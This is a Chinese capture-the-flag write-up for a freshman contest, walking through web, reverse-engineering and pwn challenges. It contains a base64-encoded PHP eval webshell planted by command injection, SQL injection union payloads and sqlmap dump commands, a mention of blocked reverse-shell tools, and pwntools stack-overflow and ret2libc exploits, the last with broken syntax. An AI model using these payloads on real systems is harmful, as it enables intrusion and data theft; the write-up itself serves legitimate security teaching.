新生线下赛 wp WEB RE PWN

警告
本文最后更新于 2023-01-27,文中内容可能已过时。

WEB

游戏

小飞机这题解法很多,这里讲两种 首先查看页面的源代码,可以看到这么一个js文件,一般像这种网页上简单的游戏题,其背后的运行逻辑都是写在JavaScript(js)文件里的,包括达到条件后弹出的flag也会写在里面,所以我们可以从js文件入手

https://file.shenghuo2.top/typecho/202211281845321.png

在js文件里可以找到这么一段Unicode编码,同时可以看到这个function里有alert函数(即弹窗作用) 猜测这里存在flag,拿去Unicode解码得到flag

https://file.shenghuo2.top/typecho/202211281845333.png 浏览器的控制台可以直接将js里写的代码实现 https://file.shenghuo2.top/typecho/202211281845349.png 继续观察js文件,可以找到这么一段敌方飞机飞行速度随分数提高的函数 https://file.shenghuo2.top/typecho/202211281845375.png 由此我们可以得知分数对应的元素名称叫scores,于是我们可以在控制台这样操作 https://file.shenghuo2.top/typecho/202211281845354.png 开局即毕业,轻松拿到flag

图片上传

什么是getshell

Shell 是一个程序,提供一个用户与操作系统内核连接的环境。这个环境只有一个命令提示符,让用户从键盘输入命令,所以又称为命令行环境。 getshell就是以某种漏洞利用的方式,从而使攻击者能得到一个与服务器进行交互的命令执行环境,进而得以控制服务器。

打开页面,就能看到这点东西 https://file.shenghuo2.top/typecho/202211281845342.png 第一条其实是个提示,提醒我们要用上传木马getshell(即拿到目录权限,再具体说就是行使对方整个文件目录的管理员权限,包括创建、删除和写入文件等操作)

上传一个木马文件(木马内容随便一百度就能搜到)

https://file.shenghuo2.top/typecho/202211281845649.png

用burp suite抓包,在文件开头加个png头绕过可能的过滤 (事实上这个题并没有设置过滤,提交php文件即可) https://file.shenghuo2.top/typecho/202211281845874.png 可以看到这题甚至贴心地把后端存储路径回显到了页面上 https://file.shenghuo2.top/typecho/202211281845940.png 打开蚁剑,复制链接,输入密码,成功连接后即可getshell,找到flag https://file.shenghuo2.top/typecho/202211281845154.png

baby_rce

打开后同样是极致简洁的页面,禁用了一些键盘按键,但是ctrl+u没有过滤,打开源代码 https://cdn.nlark.com/yuque/0/2022/png/22941704/1669554993989-4aee4bc7-bd0d-43cc-bd0c-ba07fdd48356.png#crop=0&crop=0&crop=1&crop=1&from=url&id=FnTBw&margin=%5Bobject%20Object%5D&originHeight=124&originWidth=630&originalType=binary&ratio=1&rotation=0&showTitle=false&status=done&style=none&title= 但是尝试发现输入框有7字符长度限制,正好拿不到hint 于是尝试burpsuite抓包改包 https://file.shenghuo2.top/typecho/202211281845388.png 这里有个小知识点,就是POST传参是没有长度限制的,认真听sql例会的同学可能还记得我的比喻**“如果你想的话,打进去一整本新华字典都没有问题”**,补全得到提示访问1301.php https://file.shenghuo2.top/typecho/202211281845490.png 访问来到第二关的页面 https://file.shenghuo2.top/typecho/202211281845690.png 题目中除了禁用nc,bash,curl等离谱操作(连接服务器,反弹shell) 还禁用了一些基本的rce命令cat和ls,但是由于没有禁用echo 于是我们可以利用echo写入一个木马,payload如下

1
QLNU=echo "PD9waHAgQGV2YWwoJF9QT1NUWydvYXNpcyddKTs=" |base64 -d > 2.php

这里请求方式(GET,POST,REQUEST)被过滤了,但是前端没有体现出来 (莫名其妙,出题的时候并没有过滤这些,猜测可能是腾讯云过滤掉的,因为本地测试的时候没有这些问题) 所以需要将木马内容

1
<?php@_**eval**_($_REQUEST['oasis']);?>

进行base64编码,配合base64 -d解码传参进去 连接蚁剑getshell后在ffffllllaaaagggg.php中找到flag https://file.shenghuo2.top/typecho/202211281845833.png

非预期解

echo配合反引号(反引号``的作用是将反引号内代码的输出结果作为输入执行)

1
QLNU=echo `tac f*` >1  #由于不知道flag写在什么名字的文件里,这里使用通配符*进行模糊匹配

这一串命令的作用为echo所有匹配到的文件名开头为f的文件并将结果写入到名为1的文件中 这里的文件1若不存在,则会先创建再写入,写入进去后,我们在浏览器访问这个文件,即可将其下载下来 https://file.shenghuo2.top/typecho/202211281845913.png 打开文件,即可看到flag https://file.shenghuo2.top/typecho/202211281845157.png

very_easy_sql

一贯的极简画风(手动狗头) https://file.shenghuo2.top/typecho/202211281845272.png 同样是惯例打开源代码,看到这么一串base32 https://file.shenghuo2.top/typecho/202211281845437.png 解码得到一串链接

1
https://file.shenghuo2.top/file/may_users_name.txt

看文件名也能猜出来,这是一份“可能的用户名”的字典 于是可以用burpsuite抓个包,拿去爆破一下,步骤如下 首先将抓到的包发送到intruder模块,在position里选择好爆破位置(name) https://file.shenghuo2.top/typecho/202211281845631.png 在payload里的有效载荷选项里导入字典(点击载入中按钮) https://file.shenghuo2.top/typecho/202211281845785.png 开始攻击,在爆破结果中可以看到3中回显长度,分别是413,416,420 观察发现,所有413对应的回显全为Hacker!,所有416对应的则是wrong user 而420对应的回显是wrong password,猜测q1nu即为正确的name https://file.shenghuo2.top/typecho/202211281845854.png 拿到q1nu后对登录框做了一些常规的sql注入和fuzz,无果。 于是转而研究登录后跳转的search.php页面,查看源代码发现一段编码 https://file.shenghuo2.top/typecho/202211281845055.png 经过base64→base32解码后得到一条后端查询语句

1
select * from users where username = '$name'

尝试order by判断列数,发现被后端过滤掉了,于是利用SQL对大小写不敏感的特性(忘记了可以看一看SQL注入例会的PPT)

构造q1nu'Order by成功绕过,测试到q1nu'Order by 4#时出现报错 这里可以把抓到的包送到burp suite的重发器(repeater)模块,方便地进行连续测试 https://file.shenghuo2.top/typecho/202211281845282.png https://file.shenghuo2.top/typecho/202211281845396.png 于是可以确定数据库当前页面对应的数据表一共有三列

现在我们需要判断一下各数据(name,pw)在表中对应的的分别是哪一列

https://file.shenghuo2.top/typecho/202211281845555.png https://file.shenghuo2.top/typecho/202211281845703.png 当把拿到的q1nu放到第二列时,回显的是wrong password,那么可以确定name在第二列 我们继续猜测第三列为password,这里有个考点就是一般密码数据要么明文,要么md5加密 经测试密码经过了md5加密,且md5值的长度为32位

例会讲过union select查询不存在的数据时会构建虚拟表,形成虚拟数据

接下里就是要绕过密码的MD5验证,需要把我们输入的值和数据库里面存放的用户密码的MD值进行比较 这里即用到了这个知识点,利用联合查询语句生成的虚拟表数据实现绕过 md5验证的规则是将用户传入的密码值经过md5后与数据库内储存的md5值比较,若相同则通过

也就是说,如果我们传入的密码是qlnu,只需要使虚拟表对应列的值为qlnu的md5即可

https://file.shenghuo2.top/typecho/202211281845824.png

qlnu对应的md5值 d12d721ec1c1f956cff47d402378db55

这个密码是可以自己设置的

https://file.shenghuo2.top/typecho/202211281845058.png

工具注入之sqlmap

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件

支持的数据库有MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB

http://sqlmap.org/

拿到sql先用sqlmap试一下,用法的话,先将数据抓包

https://file.shenghuo2.top/typecho/202211281845185.png 将左侧的请求包,保存到1.txt中,语法

1
python3 sqlmap.py -r 1.txt -batch

出现 https://file.shenghuo2.top/typecho/202211281845346.png python3 sqlmap.py -r 1.txt –dbms mysql -batch //爆破数据库名 https://file.shenghuo2.top/typecho/202211281845512.png

1
python3 sqlmap.py -r 1.txt --dbms mysql -D web_sqli --tables -batch #爆破web_sqli库下的所有表名

https://file.shenghuo2.top/typecho/202211281845724.png

1
python3 sqlmap.py -r 1.txt --dbms mysql -D web_sqli -T users --dump -batch #将user表中的字段dump

https://file.shenghuo2.top/typecho/202211281845158.png

得到了用户名和md5加密后的passwd 到这里其实就很难想了,去看一下源码

https://file.shenghuo2.top/typecho/202211281845213.png

很明显可以发现,如果$arr[1]=q1nu并且$arr[password]=$arr[2]就可以输出flag 而$arr就是我们接收到的数据库的信息,就是这个

https://file.shenghuo2.top/typecho/202211281845388.png

$arr[1]就是passwd,$arr[2]就是username 所以我们的目的就是要通过sql语句将username设置成q1nu,再将passwd,md5加密后等于 md5(q1nu) 先本地试一下

https://file.shenghuo2.top/typecho/202211281845567.png

可以发现我们可以通过sql语句改变查询的值,那我们再去构造q1nu和md5的值

1
select * from user where uname = 'xxx' union select 1,'q1nu','36506404f1d1a16f0b1bf429bd501c7f',4,5; 

https://file.shenghuo2.top/typecho/202211281845740.png 成功改变了值,我们就可以用这个payload就打题目,但我这个是5个段要改一下

1
xxx' union select 1,'q1nu','36506404f1d1a16f0b1bf429bd501c7f';#

最后我们还要吧密码写成q1nu,最终payload

1
name=xxx' union select 1,'q1nu','36506404f1d1a16f0b1bf429bd501c7f';#&pw=q1nu

REVERSE

EasyEasy

upx壳

base64换表加密

查壳,有壳,upx壳

img

脱壳,用ida打开

shift+f12查找字符串,讲过base64变表

img

img

脚本

img

解出来:

img

有一层base64正常加密,解密得到flag

img

EasyRE

ida python的使用

取反和异或加密

img

提取W0W数据:

打开ida python

img

img

提取出来的数据需要将’删去

img

解题脚本:

img

img

Easy_re2

魔改upx

异或加密

先查壳,发现有个upx壳

img

用命令拖一下,发现脱不下来

img

拖进010,发现upx被魔改

img

将FUK改回UPX再去脱壳即可

img

img

image-20221128184105966

如果脱壳提示报错,记得

拖进64位ida中找到主函数

img

通过分析,我们输入的flag经过每一位减i之后再与i+1进行异或就会得到所给的字符串,所以我们的脚本就是将所给的字符串与i+1异或之后再每一位加i得到flag

脚本如下

1
2
3
4
5
6
#python


a =['P', 'I', 'O', 'V', 'r', 'k', '*', 'P', ' ', '`', '^', 'V', 'X', 'h', 'd', 'z', 'x', 'z', 't', 'r', '|']
for i ,v in enumerate(a):
    print(chr((ord(v)^(i+1))+i),end='')

Baby apk

AES加密

用模拟器打开,点击事件,会出来flag事件

img

用jadx-gui打开,找到MainActivit

img

分析一下:

img

confusion函数,将字符进行md5计算后输出32位小写结果

r4的字符串

img

(可以百度一下AES加密的特点)

破解AES加密需要有密码和偏移量,分析的那个图中的1和2是分别是偏移量和密码

img

将2的字符进行MD5加密后就是密码,偏移量是1中将e替换成3后的字符串

找个在线网址解密就行了

img

img

PWN

签到

image-20221127210829007

image-20221127210855357

Linux常用命令

https://math.ecnu.edu.cn/~jypan/Teaching/Linux/command/index.htm

https://www.runoob.com/w3cnote/linux-common-command-2.html

Linux常用命令

帮助命令:

1
2
3
4
5
man  获取相关命令的帮助信息
     例如:man dir 可以获取关于dir的使用信息。

info  获取相关命令的详细使用方法
      例如:info info 可以获取如何使用info的详细信息。

文件操作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cat  显示文件内容和合并多个文件 
cd/pwd  切换目录/显示当前工作目录
ls  列出目录内容
clear  清屏
chmod  改变文件或目录的权限
chown  改变文件的属权
cp  将文件拷贝至另一文件
diff  比较两个文本文件,列出行不同之处
file  辨识文件类型     
find  搜索文件并执行指定操作(find2)
grep  按给定模式搜索文件内容
head  显示指定文件的前若干行
less  按页显示文件
locate  查找符合条件的文件
more  在终端屏幕按帧显示文本文件
mv  文件或目录的移动或更名
rm/rmdir  删除文件/目录
sed  利用script来处理文本文件
sort  对指定文件按行进行排序
tail  显示指定文件的最后部分
touch  创建文件
vi  全屏编辑器
wc  显示指定文件中的行数,词数或字符数
which  在环境变量 $PATH 设置的目录里查找符合条件的文件

提示:需要一点点的linux知识 ls 命令: 查看目录中的文件

image-20221127211201087

**cat :**显示文件内容

image-20221127211233791

发现这里面没有flag

再看看其他的文件里面

image-20221127211305495

只有一半的flag

再找找

image-20221127211319681

提示这是一个文件夹 试着进入这个文件夹

**cd :**用于切换当前工作目录

image-20221127211342443

base64解密

image-20221127211400624

1
2
YzEtODlmMi1lZTAxMmQ4MGQ3NzR9Cg==
c1-89f2-ee012d80d774}

思路

这道题的逻辑就是

cat gift 得到前半部分的flag

cd gift2 进入gift2目录

cat flag2 得到后半部分的被编码的flag,然后解base64

拼起来得到完整的flag

backdoor

下载后复制进Ubuntu 运行

image-20221127211424521

1
2
3
4
5
6
7
chmod +x pwn
#给文件可执行权限
./pwn
#运行文件
checksec pwn

#检查文件保护和文件类型

checksec 检查程序保护的类型

为了防止程序漏洞利用,程序员们发明了好多种防止内存泄露或者读取,溢出的保护方式

具体原理请自行学习,这里只列出了对应的名字

RELRO

read only relocation 只读重定位

堆栈地址随机化, 是一种用于加强对 binary 数据段的保护的技术

STACK CANARY

栈溢出检测 叫canary是因为检测溢出的canary这个名字来源于煤矿工人检测氧气是否充足用的金丝雀

NX

No eXecute 不可执行

表示栈中的数据在其所在的内存页被标示为不可执行

PIE

position independent executables 位置独立的可执行区域

其效果是让程序运行的空间独立存在,即每次运行都进行虚拟独立化,即内存地址的随机产生

image-20221127211444018

再用64位ida打开看看

image-20221127211456179

反编译后发现gets函数 和 backdoor函数

image-20221127211528746

image-20221127211537614

image-20221127211546468

栈溢出,被称为PWN里的hello world

最早接触的题,最显眼的就是危险的gets函数

没有保护的gets函数会无限制的接收用户输入的字符,直到用户输入换行符

并将其替换为\0 也就是字符串的结束字符

这道题的思路就是,从gets函数入手,将v4开辟的长度为32个字节填满后

栈的结构

在栈的结构上到达了ret指令 后面是 返回地址,这时候只需填充想让函数执行的内存地址,便可以操控程序的执行

填入backdoor函数的内存地址,即可getshell

什么是getshell

Shell 是一个程序,提供一个用户与操作系统内核连接的环境。这个环境只有一个命令提示符,让用户从键盘输入命令,所以又称为命令行环境。

getshell就是以某种漏洞利用的方式,从而使攻击者能得到一个与服务器进行交互的命令执行环境,进而得以控制服务器。

exp:

名词解释

Exploit(exp) 用于攻击的脚本与方案

Payload 攻击载荷

[新手向] 一步一步学pwntools https://bbs.pediy.com/thread-247217.htm

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from pwn import *
#导入pwntools
#p = process("./pwn")
#连接本地程序
p = remote('101.43.85.204',9127)
#连接远程环境
backdoor_addr = 0x0400648
#system函数地址

payload = b'a'*40+p64(backdoor_addr) 
#payload= 40个垃圾数据填充+打包system函数地址
p.sendline(payload)
#发送
p.interactive()
#打开交互窗口

easy_game

常规操作:

checksec 检查程序保护的类型

为了防止程序漏洞利用,程序员们发明了好多种防止内存泄露或者读取,溢出的保护方式

具体原理请自行学习,这里只列出了对应的名字

RELRO

read only relocation 只读重定位

堆栈地址随机化, 是一种用于加强对 binary 数据段的保护的技术

STACK CANARY

栈溢出检测 叫canary是因为检测溢出的canary这个名字来源于煤矿工人检测氧气是否充足用的金丝雀

NX

No eXecute 不可执行

表示栈中的数据在其所在的内存页被标示为不可执行

PIE

position independent executables 位置独立的可执行区域

其效果是让程序运行的空间独立存在,即每次运行都进行虚拟独立化,即内存地址的随机产生

image-20221127211638379

image-20221127211648921

image-20221127211703039

ida反编译:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char nptr[2]; // [rsp+B1h] [rbp-Fh] BYREF
  char v5; // [rsp+B3h] [rbp-Dh]
  int v6; // [rsp+B4h] [rbp-Ch]
  int v7; // [rsp+B8h] [rbp-8h]
  int v8; // [rsp+BCh] [rbp-4h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  *(_WORD *)nptr = 0;
  v5 = 0;
  v8 = 0;
  puts("Welcome challenger to the game of Rock, Paper, Scissors");
  puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
  puts("Are you ready?");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("Type '1' to play a game");
        puts("Type '2' to exit the program");
        v7 = tgetinput(nptr, 3LL);
        if ( v7 == -3 )
        {
          puts("Goodbye!");
          exit(0);
        }
        v6 = strtol(nptr, 0LL, 10);
        if ( v6 )
          break;
        puts("Please put in a valid number");
      }
      if ( v6 != 1 )
        break;
      puts("\n");
      if ( (unsigned __int8)play() )
        ++wins;
      else
        wins = 0;
      if ( wins > 4 )
      {
        gift();
        return 0;
      }
    }
    if ( v6 == 2 )
      break;
    puts("Please type either 1 or 2");
  }
  return 0;
}

第一关游戏,仔细阅读tgetinput函数,可以发现判定输赢的逻辑是通过

是否匹配到对应的结果,也就是说同时发rock paper scissors就一定会赢

然后进入第二关,和上题一样是ret2text

因为v1的大小是172,只需要全部填满就行

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
p = process("./pwn")
payload = b'a'*172+p64(0xbeef)
#payload = 172个垃圾数据 + v2要修改的数值

for i in range(5):#python 的for循环函数
    p.sendlineafter('program','1')#接收到program后发送1 == 开始游戏
    p.sendlineafter('scissors):','rock paper scissors')# 接收到scissors):后发送rock paper scissors

p.sendlineafter('magic number:',payload)#接收到magic number:后发送payload

p.interactive()

cheat_canary

stack canary是一个比较久远的安全特性,linux内核在2.6版本便已经引入, 在5.0又引入了增强的per-task stack canary, 其原理比较简单,即:

  1. 每个函数执行前先向栈底插入一个canary值(如下图)以确保顺序的栈上溢在破坏到父函数栈帧前必须要先破坏canary
  2. 每个函数返回时检测当前栈帧中的canary是否被修改,若被修改则代表发生了溢出(报错)

img

这题就是根据canary的特性,先将canary的值泄露出来

在覆盖canary的时候不被检测出来改变,

然后是ret2libc,都是几种基本的攻击手法

这里的知识点就不细讲了,需要慢慢累积知识学习

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#python2
from pwn import
context.log level = 'debug'
p = process('./easy_')
#p=remote('10.1.200.97',9174)
elf = ELF("./easy_")
libc = elf.libc
rd1 = 0x400973
fun = 0x400787
ret = 0x400606
p.send("a"*4 + "easyeasy"+'pwnnpwnn')
p.recvuntil(" : ")
canary = int(p.recvuntil('\n',drop=True),16)
success(hex(canary))
payload = 'a'*0x38 + p64(canary) + p64(0) + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])+p64(fun)
p.sendline(payload)
base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['puts']
system = base + libc.sym['system'
sh = base + libc.search('/bin/sh\x00').next()
payload2 = 'a'*0x38 + p64(canary) + p64(0)+ p64(rdi) + p64(sh) + p64(ret) + p64(system)
p.sendline(payload2)
p.interactive()
0%